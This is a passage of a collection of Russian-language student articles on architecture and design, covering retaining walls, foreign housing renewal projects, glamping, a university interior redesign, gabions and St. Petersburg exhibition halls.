подойдёт для мест с крутым склоном (рисунок 1). Но при выборе материала стоит 
учесть угол наклона склона, тип грунта и уровень грунтовых вод.   

 
Рисунок 1 – Подпорная стена для укрепления 

 Вторым способом является зонирование. Такие стены можно смело использовать 
для разделения зон в саду, на даче. Например, зону отдыха можно отделить от рабочей 
зоны на участке, так же возможно создать разноуровневый участок для размещения тер-
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рас, бассейнов. Разноуровневость даёт создавать более интересные планировочные ре-
шения. Стены также используют для разделения цветников и газонов (рисунок 2). 

 
Рисунок 2 – Подпорная стена для зонирования 

 Третьим способом является декоративная функция (рисунок 3). В настоящее 
время подпорные стены могут творением искусства в ландшафтном дизайне. В совре-
менном мире стал доступен большой каталог материалов для строительства стен, начи-
ная от самого простого камня, заканчивая бетоном. Большое разнообразие материалов 
даёт возможность создать стену в любом стиле от классического до современного. Не 
только материал даёт безграничную волю воображению, но и огромное разнообразие 
фактур материала, методы кладки, цвета. Декоративные стены могут быть украшены 
живыми растениями или же фонарями – это всё зависит от идеи ландшафтного дизай-
нера.   
 Четвёртым способом является создание микроклимата. Подпорные стены могут 
менять климат, например, защита растений от ветров, создаёт более теплую и защи-
щённую среду. Такой вариант подходит для мест с холодным климатом.  

 
Рисунок 3 – Декоративная подпорная стена 

 Различие стен зависит от выбора материала, типа грунта и методом укладки та-
ких стен. Более распространены типы из металлических сеток, которые заполняют кам-
нями, кирпичные и бетонные. Выбор типа стен будет исходить от нескольких фак-
торов: технические требования, стиль, бюджет. Точно спроектированная и построен-
ная подпорная стена станет надежным и долговечным сооружением, способным пре-
образить даже самый простой участок. Поставленные цели в работе были достигнуты, 
мы более детально разобрали четыре основных фактора подпорных стен, поняли, где 
можно устанавливать стены, а также узнали для чего их использовали в древние време-
на и как функция стен поменялась спустя века. 
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MODERN CONCEPTS OF HOUSING CONSTRUCTION BASED ON  
FOREIGN EXPERIENCE 
 
Аннотация. Комфортный современный город сочетает в себе экологические и эр-
гономические архитектурно-планировочные решения, социально-культурные аспекты, 
удовлетворяющие как индивидуальные потребности человека, так и социума в целом. В 
данной работе рассматривается актуальность вопроса сохранения существующих архи-
тектурных ансамблей в надлежащем виде и возведения новых архитектурно-
пространственных комплексов, исследуется зарубежный опыт современных концепций 
зарубежного жилищного строительства. 
Abstract. A comfortable modern city combines ecological and ergonomic architectural plan-
ning solutions, socio-cultural aspects that satisfy both the individual needs of a person and 
society as a whole. This paper examines the relevance of the issue of preserving existing ar-
chitectural ensembles in proper form and the construction of new architectural and spatial 
complexes, and examines the foreign experience of modern concepts of foreign housing con-
struction. 
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В начале XX века роль жилья в жизни общества постепенно менялась. Интерна-

циональный стиль в массовой архитектуре становился все более предпочтительным 
благодаря экономичным материалам (таким, как сталь, стекло, бетон) и возможности 
стремительного возведения нового жилого фонда. В данный период на территории 
СССР началось унифицированное многоэтажное панельное строительство, в то время 
как в странах Европы на смену жилой многоэтажной застройки пришло малоэтажное 
строительство из железобетона и металлических конструкций. Таким образом, исполь-
зование классического стиля в строительстве, дополняющего и перекликающегося с 
исторической застройкой, стало редким явлением в современных городах. 

В настоящее время типовое панельное строительство прошлого века по-
прежнему используется, несмотря на истекший срок эксплуатации, морально устарев-
шую пространственную компоновку жилых помещений, недостатки используемых ма-
териалов. Акцентируя внимание на комфорте жилья, возникает потребность в пере-
осмыслении и критической оценке целесообразности данного строительства [1]. 

Комфортный современный город сочетает в себе экологические и эр-
гономические архитектурно-планировочные решения, социально-культурные аспекты, 
удовлетворяющие как индивидуальные потребности человека, так и социума в целом. В 
настоящее время актуальной проблемой развития городской среды является вопрос со-
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хранения существующих архитектурных ансамблей в надлежащем виде и возведения 
новых архитектурно-пространственных комплексов, отвечающих современным требо-
ваниям и выделяющихся из общего контекста облика окружающей среды. 

Ввиду роста потребностей людей и расширения сферы услуг городская среда 
наполняется объектами торговли, деловыми центрами, многоэтажными жилыми ком-
плексами, зачастую на небольшой территории которых функциональное зонирование 
ограничивается размещением автомобильных парковочных мест и минимальным набо-
ром оборудования для организации детской игровой площадки, сопровождаясь сокра-
щением количества существующих зеленых насаждений. Облик новых объектов не-
движимости также нередко выделяется из контекста сложившейся исторической, куль-
турной застройки городской среды [2]. За последнее столетие история градостроитель-
ства в прогрессивных странах прошла множество этапов. Плотная квартальная застрой-
ка с узкими улицами сменилась устройством широких магистралей, активный рост 
населения стал причиной строительства городов-спутников для расселения крупных 
городов, города стали наполняться микрорайонами с разобщенной периметральной и 
строчной многоэтажной застройкой с просторными внутренними дворами. Также про-
исходила реконструкция и восстановление зданий, пострадавших во время Второй ми-
ровой войны, возводилась массовая жилая застройка с использованием типовых проек-
тов, где образом заказчика являлся «осредненный житель». В настоящее время основ-
ными векторами развития архитектурной среды стали соразмерность объектов «чело-
веческому масштабу», создание комфортной городской среды, следование основным 
принципам устойчивого развития – социальным, экономическим и экологическим [3]. 

Образ жизни общества начала ХХI века задает новые тенденции формирования 
современных жилых территорий. Развитие города задают разнообразие и эффектив-
ность использования архитектурного пространства, например, устройство транспортно-
пересадочных узлов, включение рекреационных зон в жилые районы. Многофункцио-
нальность при строительстве жилья начинает отслеживаться не только в рамках нового 
строительства, но и в реконструкции существующих зданий [4]. 

Рассмотрим концепции жилищного строительства на основе зарубежного опыта: 
1) ХафенСити (HafenCity), Гамбург, Германия – пример ревитализации террито-

рии и работы с индустриальным наследием. ХафенСити является одним из крупнейших 
проектов реновации в Европе, демонстрирующий комплексный подход к развитию го-
родской среды. 

 
Рисунок 1 – Эльбская филармония. ХафенСити, Гамбург, Германия 

Цель проекта: превращение заброшенного портового района в современный жи-
лой и деловой район с акцентом на устойчивость, разнообразие функций и высокое ка-
чество жизни. 

Концепция проекта: 
- сочетание жилья, офисов, магазинов, культурных и развлекательных объектов; 
- развитая сеть общественного транспорта, велодорожек и пешеходных зон; 
- высокие стандарты энергоэффективности и использования возобновляемых ис-

точников энергии; 
- сохранение и интеграция исторических зданий (рисунок 1); 
- создание общественных пространств вдоль набережных. 
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2) Ист-Виллидж (East Village), Нью-Йорк, США – является центром контркуль-
туры, родиной многих музыкальных, художественных и литературных движений. Рай-
он считается символом ночной жизни Нью-Йорка и одним из его культурных центров 
(рисунок 2).  

 
Рисунок 2 – Вариант оформления фасадов зданий в Ист-Виллидж, Нью-Йорк, США 

Цель проекта: сохранить уникальный характер района, известного своей богатой 
историей и культурным наследием, пережившего несколько этапов ревитализации. 

Концепция проекта: 
- сохранение исторических зданий и фасадов; 
- активное развитие малого бизнеса и уличной торговли; 
- развитие культурной инфраструктуры (театры, галереи, музыкальные клубы); 
- создание общественных пространств и парков. 
3) Кампо де Оурике (Campo de Ourique), Лиссабон, Португалия – пример успеш-

ной модернизации традиционного района с сохранением его аутентичности и привле-
кательности для жителей и туристов (рисунок 3). 

 
Рисунок 3 – Аутентичный фасад здания в Кампо де Оурике, Лиссабон, Португалия 

Цель проекта: сохранение очарования старого района с одновременной модерни-
зацией инфраструктуры и созданием комфортных условий для жизни. 

Концепция проекта: 
- сохранение исторических зданий и архитектурного стиля; 
- развитие общественного транспорта и пешеходной инфраструктуры; 
- создание новых общественных пространств и парков; 
- поддержка малого бизнеса и местных рынков; 
- активное участие жителей в развитии района. 
Опыт современного зарубежного жилищного строительства свидетельствует о 

тенденции сохранения культурного наследия города, важности экологической состав-
ляющей архитектурной среды и рекреационных зон, создания многофункциональных 
пространств как внутри зданий, так и снаружи, использования аутентичных материалов 
и технологий, вовлечения местных жителей в процесс изменения и создания облика го-
родской среды. Важно учитывать, что успешная реализация вышеуказанных проектов 
требует комплексного подхода, учитывающего экономические, социальные, экологиче-
ские и культурные факторы [5]. 
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АКТУАЛЬНОСТЬ РАЗВИТИЯ ГЛЭМПИНГА В РОССИИ 
 
THE RELEVANCE OF GLAMPING DEVELOPMENT IN RUSSIA 
 
Аннотация.В этой статье рассмотрено направление в кемпинговом туризме – глэмпин-
гу, его рассматривают с точки зрения развития отдыха ближе к природе. Целью данной 
статьи является сбор и систематизирование информацию о глэмпингах, а также рас-
смотрении перспективы развития и актуальность в современных реалиях. В этой статье 
также представлен экскурс в историю, где доказывается, что данное явление вовсе не 
ново, как некоторые пытаются это представить. Принята попытка сформулировать 
определение глэмпинга. Сформулирована основная идея о том, что глэмпинг – это ком-
бинированный туристический продукт, где природа и окружающий ландшафт являются 
его неотъемлемой частью. Рассмотрены виды глэмпинга, проведена их категоризация, 
представленная в систематизированном виде. В статье выделены основные сегменты 
потребителей, даны их краткие характеристики и перспективы роста. Уделено внима-
ние факторам, способствующим развитию глэмпинга. 
The announcement. This article examines the emerging trend of camping tourism, known as 
glamping, with an emphasis on its development as a form of outdoor recreation. The main 
task of the research is to collect and systematize data on glamping, as well as to analyze their 
prospects and relevance in modern realities. The article includes a historical overview that 
demonstrates that this trend is not as new as many people think. An attempt has been made to 
characterize glamping. The key conclusion is that glamping is a tourist product in which na-
ture and the environment play a crucial role. The paper discusses various types of glamping 
with their categorization, presented in a structured form. The main consumer segments are 
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identified with brief descriptions and forecasts of their growth. Close attention is also paid to 
the factors contributing to the increasing popularity of glamping. 
Ключевые слова: туризм, кемпинг, глэмпинг, виды глэмпинга, перспективы развития.  
Keywords: tourism, camping, glamping, types of glamping, development prospects. 
 

Глэмпинг представляет собой уникальный вид туризма, который сочетает эле-
менты кемпинга с комфортом. Он позволяет людям наслаждаться природой, не отказы-
ваясь от таких удобств, как мягкие кровати, современные электроприборы, изысканная 
кухня и даже некоторые услуги, поддерживающие уровень гостиничного сервиса. 

Обычно такие места располагаются в уединённых и живописных локациях, вда-
ли от городской суеты. «Номера» могут принимать различные формы: от просторных 
палаток до сфер с прозрачными стенами или уютных домиков. Также встречаются ори-
гинальные варианты, такие как иглу (рисунок 1).  

Глэмпинг служит идеальным компромиссом между классическим кемпингом и 
роскошным отдыхом, предоставляя возможность провести время на природе без потери 
современных удобств. В контексте России этот вид туризма имеет значительный по-
тенциал, благодаря разнообразию природы и нехватке уникальных альтернатив для ту-
ристов, ищущих впечатления. В больших палатках путешественники могут насла-
ждаться комфортом: удобными кроватями, санузлом с горячей водой, обогревателями и 
всем необходимым для приятного отдыха на свежем воздухе. Во многих глэмпингах 
можно встретить отдельные шатры-рестораны, а также собственные кухни, общие зоны 
и разнообразные услуги.  

 
Рисунок 1 – Примеры шатров глэмпинга 

Ключевые аспекты глэмпинга: 
1.Комфорт и удобство. Глэмпинг сочетает элементы традиционного кемпинга с 

комфортным размещением. Гостям предлагают уютные палатки, домики или курени с 
необходимыми удобствами, что делает отдых более приятным. 

2.Близость к природе. В отличие от гостиниц и курортов, глэмпинг дарит воз-
можность насладиться природой, часто в живописных и уединённых местах, что спо-
собствует восстановлению связи с окружающим миром и улучшению эмоционального 
состояния. 

3.Неповторимые впечатления. Глэмпинг предлагает необычные способы прожи-
вания и досуга, такие как ночёвки под открытым небом, наблюдение за дикими живот-
ными и участие в разнообразных активностях. 

4.Разнообразие предложений. Глэмпинг предлагает различные варианты прожи-
вания – от роскошных палаток до экологических коттеджей, что позволяет выбрать 
подходящий вариант в соответствии с личными предпочтениями и финансовыми воз-
можностями. 

5.Рост интереса к экотуризму. С растущим осознанием экологических проблем и 
увлечением устойчивым туризмом, глэмпинг часто предлагает экологически чистые 
направления отдыха и поддерживает местные экосистемы. 
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6.Доступность для различных категорий пользователей Глэмпинг подходит как 
для семей с детьми, так и для романтических поездок, а также для активного времяпре-
провождения с друзьями. Этот тип отдыха привлекает как тех, кто только начинает 
знакомство с кемпингом, так и опытных туристов.  

Таким образом, глэмпинг отвечает требованиям современных путешественни-
ков, стремящихся к новым впечатлениям и комфортабельным условиям, и продолжает 
набирать популярность как в России, так и за ее пределами.  

Виды глэмпинга:  
1.Юрты – традиционные жилища, которые обеспечивают тепло и уют; часто 

располагаются в живописных местах.  
2.Трейлеры и караваны – мобильные дома на колесах, предлагающие высокий 

уровень удобства.  
3.Шатры и палатки – специальные конструкции, снабженные всем необходимым 

для комфортного проживания.  
4.Эко-домики – постройки из природных материалов, оказывающие минималь-

ное воздействие на окружающую среду. 
5.Лоджи и восемь необычных апартаментов, расположенных в экзотических ло-

кациях, таких как деревья или над водными объектами. 
Перспективы развития глэмпинга в России 
1.Экологический туризм. Учитывая растущий интерес к экологии, глэмпинг 

имеет все шансы стать востребованным направлением, предлагая туристам условия 
проживания, гармонирующие с природой.  

2.Увеличение спроса. С учетом повышения интереса к активному отдыху и пу-
тешествиям в условиях пандемии, множество путешественников ищут уникальные и 
безопасные способы провести время на свежем воздухе. 

3.Развитие региона. Глэмпинг может послужить толчком для активизации менее 
известных туристических направлений, привлекая людей в удаленные районы. 

4.Инновации и технологии. Внедрение современных технологий (таких как сол-
нечные панели и умные гаджеты) может значительно повысить уровень удобства и 
упростить организацию глэмпинга. 

5.Государственная поддержка. Возможность получения субсидий и грантов для 
стимулирования туризма может содействовать увеличению числа глэмпинг-объектов.  

С каждым годом глэмпинг привлекает всё больше путешественников благодаря 
широте предложений: от комфортабельных палаток с удобными кроватями и интернет-
доступом до уединённых домиков, расположенных в лесах или у моря.  

Кроме того, глэмпинг способствует устойчивому туризму, помогая сохранять 
экосистемы и культурные традиции. В условиях быстро меняющегося мира, когда во-
просы экологии становятся особенно важными, выбор глэмпинга как способа отдыха 
становится не только модным увлечением, но и осознанным шагом к более гармонич-
ному и ответственному туризму. 
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ANALYSIS OF THE INTERIOR OF THE FIRST BUILDING OF THE FEDERAL 
STATE BUDGETARY EDUCATIONAL INSTITUTION OF HIGHER EDUCATION 
KNAGU 
 
Аннотация. В статье представлено исследование интерьеров Федерального государ-
ственного бюджетного образовательного учреждения высшего профессионального об-
разования КнАГУ (Комсомольский-на-Амуре государственный университет). В работе 
описаны основные проектные особенности, цветовые схемы, мебель, освещение ауди-
торий и офисов, а также административные и обслуживающие помещения. Цель анали-
за заключается в определении характеристик интерьерного декора, которые влияют на 
комфорт и качество образовательной среды. Результаты исследования могут быть по-
лезны для улучшения интерьерного декора, а также для выработки рекомендаций, 
направленных на создание более положительной атмосферы для обучения и изучения в 
университете. 
Annotation. The article presents a study of the interiors of the Federal State Educational Insti-
tution of Higher Professional Education KNAU (Komsomolsk-on-Amur State University). 
The paper describes the main design features, color schemes, furniture, lighting for class-
rooms and offices, as well as administrative and service facilities. The purpose of the analysis 
is to determine the characteristics of the interior decor that affect the comfort and quality of 
the educational environment. The results of the study can be useful for improving interior de-
cor, as well as for making recommendations aimed at creating a more positive atmosphere for 
learning and studying at the university. 
Ключевые слова: интерьер, технологии, историческая справка. 
Key words: interior, technology, historical background. 
 
 В современном обществе образование играет значительную роль в повседневной 
жизни людей. Учебные заведения являются ключевыми учреждениями, где студентам 
предоставляется возможность получить качественное образование и развить свои про-
фессиональные навыки. Однако со временем интерьеры учебных заведений могут уста-
реть и перестать быть привлекательными как для студентов, так и для преподавателей, 
что создает потребность в обновлении дизайна помещений вуза.  
 Проектный замысел по редизайну интерьера вуза состоит в формировании со-
временных и функциональных условий для обучения, которые будут функциональны-
ми для учебной деятельности и способны повысить мотивацию студентов и преподава-
телей, а также для улучшения качества образовательных услуг. 
 Основные принципы концепции дизай-проекта включают: 

1. Применение современных технологий и экологически чистых материалов; 
2. Формирование безопасного и эргономичного пространства; 
3. Инструментарий для внедрения новых организационно-методических техно-

логий и решений для более эффективного обучения; 
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4. Обеспечение адаптивности для различных категорий пользователей: студен-
тов, преподавателей, администраторов; 

5. Создание эстетически привлекательной и комфортной среды. 
Среди факторов, которые обоснованно определяют проблему редизайна интерь-

ера вуза, можно отметить: 
1. Интерьер вуза как сложный комплекс: устаревшие интерьеры устарели и 

скучны; 
2. Не соответствуют современным требованиям к качеству образования; 
3. Необходимость смены использования пространства в связи с новыми учебны-

ми курсами и методами преподавания; 
4. Желание повысить престиж учебного заведения. 

 Анализ отечественных и зарубежных аналогов 
 Простой стиль в общественном месте отмечен ͏легкостью, полезностью и приме-
нением обычных цветов. Главные ͏черты такого стиля: 

1. Светлые цвета: много светлых тонов серого, белого и бежевого, ͏что делает 
чувство пространства и легкости. 

2. Легкие формы: мебель и здания имеют ͏легкие геометрические формы 
без ͏лишних и украшений 

3. Упор на свет: свет имеет важное значение в простом интерьере, он должен 
быть ͏ровным и нежным чтобы подчеркивать детали и делать уютную обстановку. 
 В первом примере будет показан интерьер Центрально-европейского универси-
тета в Будапеште. Это место украшено деревянными планками, которые создают отли-
чие между белыми стенами и тёмным полом. Тёплый ͏свет поможет добавить уют и де-
лает помещение более͏ привлекательным (рисунок 1). 

 
Рисунок 1 –  Центрально-европейский университет в Будапеште 

 
Рисунок 2 – Интерьер офиса от студии UNK 

 Интерьер офиса от студии UNK. Перед архитекторами и дизайнерами стояла 
сложная задача – объединить два отдела компании с разными функциями и потоком 
посетителей в одном офисном пространстве. Благодаря использованию мягких 
оттенков и декоративных элементов, им удалось создать уютный и привлекательный 
интерьер в эко-стиле (рисунок 2). 
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Рабочее пространство зонировано перегородками из оргстекла таким образом, 
что у каждого сотрудника есть индивидуальное рабочее место для погружения в про-
цесс и концентрации на важных задачах. 

Предметы и детали интерьера, используемые в одной части для пола, появляют-
ся на стеклянных перегородках другой части или переходят от стен к потолку. Благода-
ря чему удается избежать визуального однообразия и сделать работу отделов фирмы 
более комфортной, разгруженной. 
 Внедрение новой концепции изменения дизайна интерьера учебного заведения 
будет способствовать формированию компактного функционального учебного поме-
щения, которое отвечало бы современным образовательным требованиям и вызовам. 
Это включает в себя оптимизацию использования пространства, создание эргономич-
ной учебной среды и интеграцию новейших технологий. Важно учитывать психологи-
ческие аспекты обучения, такие как уровень комфорта и мотивации студентов. 
 Компактное учебное помещение позволит максимально эффективно использо-
вать каждый квадратный метр, что особенно актуально для учебных заведений с огра-
ниченными ресурсами. Это также способствует созданию более тесного взаимодей-
ствия между студентами и преподавателями, что положительно сказывается на каче-
стве обучения. 
Функциональный дизайн интерьера учебного заведения включает в себя правильное 
зонирование пространства, оптимальное расположение мебели и оборудования, а также 
использование современных материалов и технологий. Это помогает создать комфорт-
ную и продуктивную учебную среду, способствующую активному участию студентов в 
образовательном процессе. 
Внедрение новой концепции также учитывает современные образовательные требова-
ния и вызовы. В условиях цифровизации и глобализации важно обеспечить доступ к 
современным технологиям и ресурсам, что позволяет студентам получать актуальные 
знания и навыки. 
Таким образом, новая концепция изменения дизайна интерьера учебного заведения 
направлена на создание современной, функциональной и комфортной образовательной 
среды, способствующей эффективному обучению и развитию студентов. 
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ГАБИОНЫ В ЛАНДШАФТНОМ ДИЗАЙНЕ 
 
GABIONS IN LANDSCAPE DESIGN 
 
Аннотация. В данной статье рассмотрим не только, историю появления габионов как 
самостоятельной конструкции, основные принципы использования в ландшафтном ди-
зайне, их преимущества и способы интеграции в экстерьере, но и использование габио-
нов в интерьере и существующие особенности в их использовании. Определяются по-
ложительные качества конструкция, а также и минусы. 
Abstract. In this article, we will consider not only the history of the appearance of gabions as 
an independent structure, the basic principles of use in landscape design, their advantages and 
ways of integration in the exterior, but also the use of gabions in the interior and the existing 
features in their use. The positive qualities of the design are determined, as well as the 
disadvantages. 
Ключевые слова: Архитектура, цветовое решение, дизайн, габионы, насаждения. 
Keywords: Architecture, color scheme, design, gabions, plantings. 
 Габионы – это структурные элементы, используемые в ландшафтном дизайне 
для создания не только функциональных, но и эстетически привлекательных решений. 
Этот уникальный объект, состоящий из металлической сетки, заполненной камнями 
или другими природными материалами, обрел популярность не только благодаря своей 
универсальности и долговечности, но и легкостью в исполнении. Габионы могут ис-
пользоваться для создания поддерживающих стенок, ограждений, элементов ланд-
шафтного декора и даже искусственных водоемов.  

Габионы: история появления в дизайне экстерьера.  
Прежде всего стоит разобраться, что такое габионы. Габионы представляют из 

себя плетённую или сварную металлическую клетку из проволки заполненную камня-
ми. В некоторых случая конструкцию заполняют бетоном, деревом или другими твер-
дыми материалами. Данная конструкция пришла к нам из древнего Египта, ведь имен-
но там нынешние габионы использовались для укрепления берегов Нила. Клетка га-
биона плелась из лозы и заполнялась камнями создавая прочную преграду перед стихи-
ей [1]. В качестве ограды габионы так же встречались и в Италии, откуда и пришло это 
название. Итальянцы использовали данные сооружения в качестве стен военных фор-
тов, а в дальнейшем стали укладывать в фундамент домов. Самое большое распростра-
нение в гражданском строительстве они получили только в 19 веке и были запатенто-
ваны Гаэтано Маккаферри [3]. (рисунок 1). 

 
Рисунок 1 – Габион 

Что касается нашего времени, сейчас габионы используются повсеместно для 
укрепления дорог и берегов, борьбы с эрозией склонов, а также и в качестве декора 
ландшафта и даже интерьера. Каменные конструкции интересно и необычно выглядят 
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во дворах домов, но в тоже место и смотрятся естественно и хорошо сливаются с при-
родой. Преимущества и недостатки строительства габионов. Габионы имеют много 
преимуществ для возведения, ведь это очень долговечные конструкции, которые только 
крепчают со временем за счет корней растений что прорастают внутри. Габионы имеют 
хорошие дренажные свойства за счет того, что вода легко проходит между камней не 
застаиваясь. За счет простоты конструкции и дешевизны материалов, такой объект не 
отнимает много времени на возведение и экономичен.  

Помимо всего выше перечисленного, что не маловажно, габионы экологичны, а 
также эстетичны, они выглядят эстетично и отлично вписываются в окружающую сре-
ду (рисунок 2) [2].  

 
Рисунок 2 – Скамьи на основе из габионов 

Вопреки всем преимуществам, габионы так же имеют несколько минусов. Это 
очень громоздкая конструкция, которая требует большой площади для размещения, и мно-
го свободного пространства вокруг, ведь габионы очень съедают пространство. Так же они 
могут быть только прямоугольной или квадратной формы. Конструкция для наполнения с 
более сложными формами потребует больших вложений и усложнения самой конструк-
ции. Главным минусом габионов являются мелкие звери, которые могут селиться в сво-
бодных пространствах и дабы избежать этого, при строительстве нужно выбирать те мате-
риалы и формы, которые оставляют меньше промежутков между собой [4]. 

Габионы в интерьере и экстерьере 
В качестве декоративных конструкций габионы используются не только как 

ограждения, но и как эксплуатируемые объекты, которые гармонично смотрятся с дру-
гими натуральными материалами, которые часто используются в строительстве. Габионы 
могут быть, как и полноценным самостоятельным декором, так и предметом мебели. Га-
бионы могут использоваться в качестве скамей, столиков, фонтанных чаш, а также и ваз 
для уличных цветов и много другое. В некоторых случаях габионы могут быть использо-
ваны не в качестве полноценной ограды, а интегрированы в виде панно (рисунок 3) [5].  

 
Рисунок 3 – Интеграция габионов в ограждение  

Интерьерное использование габионов возможно в больших пространствах за 
счет громоздкости конструкции. Таким образом можно не только визуально уменьшить 
пространство, но и разделить территорию на зоны без использования стен и перегоро-
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док. Вопреки тому, что габион чаще всего используется для уличного обустройства, 
возможность заполнения клетки различными материалами могут немного облегчить 
внешний вид создать возможность интерьерного размещения. Различные вариации 
наполнения дают возможность и игры цвета в помещениях, не привязывая его к декору.  

Габионы – это исключительная и многогранная конструкция с большим количе-
ством преимуществ и большой вариации в использовании. В настоящее время в строи-
тельство все чаще интегрируются экологичные материалы и именно габионы могут 
стать прекрасным дополнением такой тенденции за счет натуральных материалов и 
возможности, использования вторичных материалов для заполнения. Применение га-
бионов возможно в различных сферах строительства: в ландшафтном дизайне как част-
ных домов, так и в общественных зданиях, парках, скверах, также и при возведении 
различных строительных сооружений.  
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TYPES OF EXHIBITS AND ADDITIONAL FUNCTIONS OF MODERN  
EXHIBITION HALLS 
 
Аннотация. Проектирование выставочных пространств должно предусматривать со-
временные требования к помещениям в зависимости от видов экспонатов, а также учи-
тывать возможность их многофункционального использования. В настоящей статье 
определены виды экспонатов и дополнительные функции современных выставочных 
пространств на примере г. Санкт-Петербурга. Выставочные залы отличаются как пред-
ставленными формами искусства и деятельности, так и возможностью проведения до-
полнительных мероприятий, наличием мест питания и торговли.  
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Abstract. The design of exhibition halls must incorporate contemporary requirements for 
premises based on the types of exhibits, while also considering the potential for multifunc-
tional use. This article identifies the categories of exhibits and the additional functions of 
modern exhibition halls, using halls in St. Petersburg as a case study. Exhibition halls vary not 
only in the forms of art and activities they present but also in their capacity to host cultural 
events, as well as the availability of dining and retail facilities. 
Ключевые слова: выставочные пространства, современные тенденции, проектирование, 
многофункциональное использование, инсталляции. 
Keywords: exhibition spaces, modern trends, design, multifunctional use, installations. 
 

Выставочные залы являются неотъемлемыми элементами городской инфра-
структуры и играют значимую роль в культурном, образовательном и экономическом 
развитии общества. Это обусловливает необходимость их детального проектирования и 
адаптации к современным требованиям и предпочтениям посетителей. В отличие от 
традиционного подхода, где основной акцент делался на демонстрации экспонатов, се-
годня ключевое значение приобретает создание многофункциональных, гибких, техно-
логически насыщенных пространств [1-2]. 

Эффективность использования выставочного пространства во многом зависит от 
детального проектирования, учитывающего не только архитектурные особенности, но и 
специфику экспонируемых объектов, потребности посетителей, а также актуальные 
тенденции в музейно-выставочной практике. 

На стадии проектирования крайне важно заранее определить, какие типы экспо-
натов будут демонстрироваться в зале и какие дополнительные функции необходимо 
предусмотреть. Объемно-планировочные решения должны разрабатываться с учетом 
тематики и назначения экспозиции. 

Цель работы – определение видов экспонатов современных выставочных про-
странств и их дополнительных функций. В задачи входит анализ функционального 
наполнения и востребованных форматов экспонирования, определение различий в ис-
пользовании малых (до 300 м²) и крупных (свыше 300 м²) залов.  

Для анализа рассмотрено 28 выставочных пространств в Санкт-Петербурге, ос-
нованных в 2000 – 2010-е годы. Они разделены на две категории по общей площади: 
малые – менее 300 м2 и большие – более 300 м2.  

К малым выставочным залам относятся частные галереи, они занимают от одно-
го до нескольких этажей в составе исторических зданий в центре города – в основном в 
жилых домах. Для анализа рассмотрены следующие 13 малых галерей: Anna Nova, K 
Gallery, Didi Gallery, «АРКА», D137, Галерея «Моховая-18», Art of Foto, «Мансарда ху-
дожников», One’s Mind, Сарай, Name Gallery, MYTH Gallery и Bashmakov Gallery. Дан-
ные галереи специализируются на современном искусстве. Некоторые галереи отдают 
предпочтение локальным темам, таким как народное искусство или изобразительное 
искусство Санкт-Петербурга. 

К большим выставочным залам можно отнести составные арт-центры и куль-
турные кварталы. Большая часть из них расположена в зданиях бывших заводов, ма-
стерских и доходных домов. Однако среди них есть и современные отдельно стоящие 
здания. Для анализа рассмотрены следующие 15 выставочных пространств: Beriozka 
Gallery, Планетарий №1, Арт-центр «Пушкинская-10», Новый музей современного ис-
кусства, Культурный центр «Third Place», Арт-центр «Борей», Галерея Марины Гисич, 
Арт-центр «Митьки», Культурный центр «Севкабель-Порт», Культурный квартал 
«Брусницын», Творческий кластер «Артмуза», Музей современного искусства «Эрар-
та», Центр дизайна «Design District DAA», Культурный кластер «ЛофтПроектЭтажи», 
Центральный выставочный зал «Манеж». Основным направлением данных центров яв-
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ляется современное искусство и экспериментальные проекты, однако в них также экс-
понируется классическое искусство и исторические реконструкции.  

В справочном пособии В.И. Ревякина «Художественные музеи» приведены дан-
ные о распределении коллекций экспонатов [3-4]. Так в пересчете на экспонирующиеся 
произведения отмечается следующее соотношение: живопись и графика – 30%, скульп-
тура – 20%, декоративно-прикладное искусство – 40%, фотография – 10%.  Данные бы-
ли собраны в 1980-90-ые годы.  

В современных малых и больших выставочных пространствах выявлены следу-
ющие формы искусства и направления деятельности (рисунок 1, 2), а также виды экс-
понатов:  

1. В залах малой вместимости выставляется преимущественно один вид экспо-
натов. Основная форма искусства – изобразительное, остальные виды экспонатов зна-
чительно уступают. В залах большой вместимости выставляется от 2 до 7 видов экспо-
натов. Преимущественно это изобразительное искусство, инсталляция и фотография.   

2. Во многих залах большой вместимости представлены инсталляции – форма 
современного искусства, которая задействует комплексные пространственные структу-
ры, сочетающие материальные элементы, звуковое сопровождение, световые решения 
и цифровые технологии.  

3. Только залы большой вместимости экспонируют современные направления 
искусства. В них представлены объекты, не относящиеся к материальным плоскостным 
или объемным видам, – это цифровое искусство (цифровая скульптура и 3D-арт, свето-
вые инсталляции, аудиовизуальные произведения и т.д.). 

4. В результате сравнения распределения экспонатов от 1980-90-ых и текущего 
времени можно отметить, что залы малой вместимости претерпели небольшие измене-
ния. А вот в залах большой вместимости наблюдается следующая динамика: увеличе-
ние количества форм искусства и направлений деятельности в пределах зала, появление 
новых современных форм, уменьшение роли декоративно-прикладного искусства.  

 
Рисунок 1 – Представленные формы искусства и направления деятельности в малых 

выставочных залах 

 
 

Рисунок 2 – Представленные формы искусства и направления деятельности в больших 
выставочных залах 

Таким образом, залы большой вместимости отличаются многофункционально-
стью, в них отражаются разные формы искусства. Новой формой, набирающей попу-
лярность в выставочных залах, является инсталляция, представляющая собой не просто 
объект, а целую среду, созданную художником с помощью разных материалов и тех-
ник, с возможностью использования также света, звука, видео, текста. 
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В современных малых и больших выставочных залах отмечаются следующие дополни-
тельные функции (рисунок 3, 4):  

1. В малых залах помимо основной функции – выставочной – встречаются еще 
до пяти дополнительных. В основном они относятся к культурно-просветительской де-
ятельности – проведение лекций и мастер-классов. В больших залах диапазон дополни-
тельных функций шире – от 2 до 10. Здесь аналогично основное направление – куль-
турно-просветительское. Однако важную роль занимает функция питания – кафе и ре-
стораны есть при 80% выставочных залов.  

 
Рисунок 3 – Дополнительное использование малых выставочных пространств 

 

 
Рисунок 4 – Дополнительное использование больших выставочных пространств 

2. Арт-маркет представлен как в малых, так и в больших выставочных залах, но 
в разных формах. В малых галереях продажа предметов искусства осуществляется при 
проведении аукционов или непосредственно в процессе экспонирования. При больших 
выставочных залах продажа предметов искусства проходит при проведении ярмарок и 
фестивалей, а также в постоянных специализированных магазинах – резидентах.  

3. В малых выставочных пространствах второстепенные функции (встречи, дис-
куссии, презентации) в основном являются камерными мероприятиями. Также отдель-
но выделяются уникальные дополнительные функции: арт-бранчи и арт-медитации. 
Малые пространства фокусируются на личном опыте, эмоциях и более близком взаи-
модействии с искусством. 

4. В больших выставочных пространствах также распространены кинопоказы, 
концерты, фестивали и спектакли. Все это масштабные мероприятия, требующие соот-
ветствующих планировочных решений и технического оснащения.  

5. Также при больших выставочных пространствах предусмотрены рабочие ме-
ста людей творческих профессий: мастерские, офисы, творческие коворкинги. Резиден-
